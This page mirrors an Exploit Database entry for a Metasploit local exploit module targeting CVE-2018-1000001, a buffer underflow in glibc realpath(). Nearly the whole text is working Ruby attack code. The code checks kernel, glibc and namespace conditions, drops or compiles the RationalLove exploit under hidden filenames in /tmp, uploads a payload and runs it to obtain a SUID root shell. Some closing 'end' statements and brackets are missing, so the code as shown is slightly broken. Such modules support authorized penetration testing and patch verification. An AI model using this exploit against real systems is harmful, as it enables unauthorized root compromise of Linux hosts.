glibc – ‘realpath()’ Privilege Escalation (Metasploit)

Exploit Database
122 阅读

作者： Metasploit

日期： 2018-06-13
类别：
- local
平台：
- linux
来源：https://www.exploit-db.com/exploits/44889/

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# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Local

Rank = NormalRanking

include Msf::Post::File

include Msf::Post::Linux::Priv

include Msf::Post::Linux::System

include Msf::Post::Linux::Kernel

include Msf::Exploit::EXE

include Msf::Exploit::FileDropper

def initialize(info = {})

super(update_info(info,

'Name' => "glibc 'realpath()' Privilege Escalation",

'Description'=> %q{

This module attempts to gain root privileges on Linux systems by abusing

a vulnerability in GNU C Library (glibc) version 2.26 and prior.

This module uses halfdog's RationalLove exploit to exploit a buffer

underflow in glibc realpath() and create a SUID root shell. The exploit

has offsets for glibc versions 2.23-0ubuntu9 and 2.24-11+deb9u1.

The target system must have unprivileged user namespaces enabled.

This module has been tested successfully on Ubuntu Linux 16.04.3 (x86_64)

with glibc version 2.23-0ubuntu9; and Debian 9.0 (x86_64) with glibc

version 2.24-11+deb9u1.

'License'=> MSF_LICENSE,

'Author' =>

[

'halfdog',# Discovery and RationalLove.c exploit

'Brendan Coles' # Metasploit

'DisclosureDate' => 'Jan 16 2018',

'Platform' => [ 'linux' ],

'Arch' => [ ARCH_X86, ARCH_X64 ],

'SessionTypes' => [ 'shell', 'meterpreter' ],

'Targets'=> [[ 'Auto', {} ]],

'Privileged' => true,

'References' =>

[

[ 'AKA', 'RationalLove.c' ],

[ 'BID', '102525' ],

[ 'CVE', '2018-1000001' ],

[ 'EDB', '43775' ],

[ 'URL', 'https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/' ],

[ 'URL', 'http://www.openwall.com/lists/oss-security/2018/01/11/5' ],

[ 'URL', 'https://securitytracker.com/id/1040162' ],

[ 'URL', 'https://sourceware.org/bugzilla/show_bug.cgi?id=22679' ],

[ 'URL', 'https://usn.ubuntu.com/3534-1/' ],

[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1533836' ]

'DefaultTarget'=> 0))

register_options [

OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),

OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),

]

end

def base_dir

datastore['WritableDir'].to_s

end

def upload(path, data)

print_status "Writing '#{path}' (#{data.size} bytes) ..."

write_file path, data

register_file_for_cleanup path

end

def upload_and_chmodx(path, data)

upload path, data

cmd_exec "chmod +x '#{path}'"

end

def upload_and_compile(path, data)

upload "#{path}.c", data

gcc_cmd = "gcc -w -o #{path} #{path}.c"

if session.type.eql? 'shell'

gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"

end

output = cmd_exec gcc_cmd

unless output.blank?

print_error output

fail_with Failure::Unknown, "#{path}.c failed to compile"

end

register_file_for_cleanup path

cmd_exec "chmod +x #{path}"

end

def exploit_data(file)

path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2018-1000001', file

fd = ::File.open path, 'rb'

data = fd.read fd.stat.size

fd.close

data

end

def live_compile?

return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')

if has_gcc?

vprint_good 'gcc is installed'

return true

end

unless datastore['COMPILE'].eql? 'Auto'

fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'

end

def check

version = kernel_release

if Gem::Version.new(version.split('-').first) < Gem::Version.new('2.6.36')

vprint_error "Linux kernel version #{version} is not vulnerable"

return CheckCode::Safe

end

vprint_good "Linux kernel version #{version} is vulnerable"

arch = kernel_hardware

unless arch.include? 'x86_64'

vprint_error "System architecture #{arch} is not supported"

return CheckCode::Safe

end

vprint_good "System architecture #{arch} is supported"

unless userns_enabled?

vprint_error 'Unprivileged user namespaces are not permitted'

return CheckCode::Safe

end

vprint_good 'Unprivileged user namespaces are permitted'

version = glibc_version

if Gem::Version.new(version.split('-').first) > Gem::Version.new('2.26')

vprint_error "GNU C Library version #{version} is not vulnerable"

return CheckCode::Safe

end

vprint_good "GNU C Library version #{version} is vulnerable"

# fuzzy match glibc 2.23-0ubuntu9 and 2.24-11+deb9u1

glibc_banner = cmd_exec('ldd --version')

unless glibc_banner.include?('2.23-0ubuntu') || glibc_banner.include?('2.24-11+deb9')

vprint_error 'No offsets for this version of GNU C Library'

return CheckCode::Safe

end

CheckCode::Appears

end

def exploit

if is_root?

fail_with Failure::BadConfig, 'Session already has root privileges'

end

if check != CheckCode::Appears

fail_with Failure::NotVulnerable, 'Target is not vulnerable'

end

unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'

fail_with Failure::BadConfig, "#{base_dir} is not writable"

end

# Upload exploit executable

executable_name = ".#{rand_text_alphanumeric rand(5..10)}"

@executable_path = "#{base_dir}/#{executable_name}"

if live_compile?

vprint_status 'Live compiling exploit on system...'

upload_and_compile @executable_path, exploit_data('RationalLove.c')

else

vprint_status 'Dropping pre-compiled exploit on system...'

upload_and_chmodx @executable_path, exploit_data('RationalLove')

end

# Upload payload executable

payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"

upload_and_chmodx payload_path, generate_payload_exe

# Launch exploit

print_status 'Launching exploit...'

output = cmd_exec "echo '#{payload_path} & exit' | #{@executable_path}", nil, 30

output.each_line { |line| vprint_status line.chomp }

end

def on_new_session(client)

# remove root owned SUID executable

if client.type.eql? 'meterpreter'

client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'

client.fs.file.rm @executable_path

else

client.shell_command_token "rm #{@executable_path}"

end